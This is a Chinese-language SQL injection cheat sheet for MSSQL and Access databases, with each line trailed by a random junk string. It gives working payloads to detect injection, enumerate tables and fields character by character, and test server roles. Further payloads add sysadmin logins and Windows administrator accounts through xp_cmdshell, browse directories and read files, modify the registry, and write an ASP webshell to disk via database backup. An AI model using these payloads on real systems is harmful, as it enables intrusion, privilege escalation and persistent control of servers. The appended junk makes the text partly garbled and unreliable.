1.判断是否有注入;and 1=1 ;and 1=2 \/4ipU.
2.初步判断是否是mssql ;and user>0 13Ga #
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3.注入参数是字符'and [查询条件] and ''=' yyh
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' (5{ |']G
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5.判断数据库系统 mnL
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;and (select count(*) from sysobjects)>0 mssql vTjgW?9
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;and (select count(*) from msysobjects)>0 access "!XeK| Wi
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 jD3,z*
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !*u5HVn
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ?HVsIAU
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9.(1)猜字段的ascii值(access) ?GU/Rf!H#
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 t$r^'ZN
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(2)猜字段的ascii值(mssql) )H$Ik)/N
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 <Hhl=6op
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10.测试权限结构(mssql) )gV+BHK
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- /dhx +K~
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;6t>!2I>C
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- %f\{ ]
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- k);z}`7
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ]R}#3(]1
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- b>E%&sf
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;and 1=(select IS_MEMBER('db_owner'));-- zy4AFW
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11.添加mssql和系统的帐户 a*CP1@O
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;exec master.dbo.sp_addlogin username;-- 0~A<AF*t
;exec master.dbo.sp_password null,username,password;-- UA{sUj+?
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- !$AVlMnJ
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;exec master.dbo.xp_cmdshell 'net user username password r\vB-nJ
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Vv'
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- n0U^gsD4J
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12.(1)遍历目录 CSc*UX+
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;create table dirs(paths varchar(100), id int) W)^:*z
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;insert dirs exec master.dbo.xp_dirtree 'c:\' BQSA;;n]
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;and (select top 1 paths from dirs)>0 ixBM>mRK
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- jCW>=1:JGY
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 (&PamsV*8
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 =/6.4;8
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 k}ps-w6:
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 z:u`W#Rf
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13.mssql中的存储过程 #H
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xp_regenumvalues 注册表根键, 子键 z$ysp!
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :m8ED[9b
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xp_regread 根键,子键,键值名 n#z^uq|v
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 _QvyFKAM
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xp_regwrite 根键,子键, 值名, 值类型, 值 gywI@QD%#
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 mI9h| n
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xp_regdeletevalue 根键,子键,值名 ]|u}P2
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Pdf_{8r
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 `Z|sp
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14.mssql的backup创建webshell yp@mxI@1
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use model ,;/4E
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create table cmd(str image); L%B+V;<h3
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insert into cmd(str) values (''); 07(E/A]
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backup database model to disk='c:\l.asp'; X'kw5P!sq
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15.mssql内置函数 T"QY@#E
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;and (select @@version)>0 获得Windows的版本号 tH_#q"@)
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa v/m`rc]e
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;and (select user_name())>0 爆当前系统的连接用户 IC}zgvcW
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;and (select db_name())>0 得到当前连接的数据库 GC4$9q}C4Z
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16.简洁的webshell rA1
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use model MO _9Yi
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create table cmd(str image); @=;6:akz`
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insert into cmd(str) values (''); ,7j`5iq[m
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backup database model to disk='g:\wwwtest\l.asp';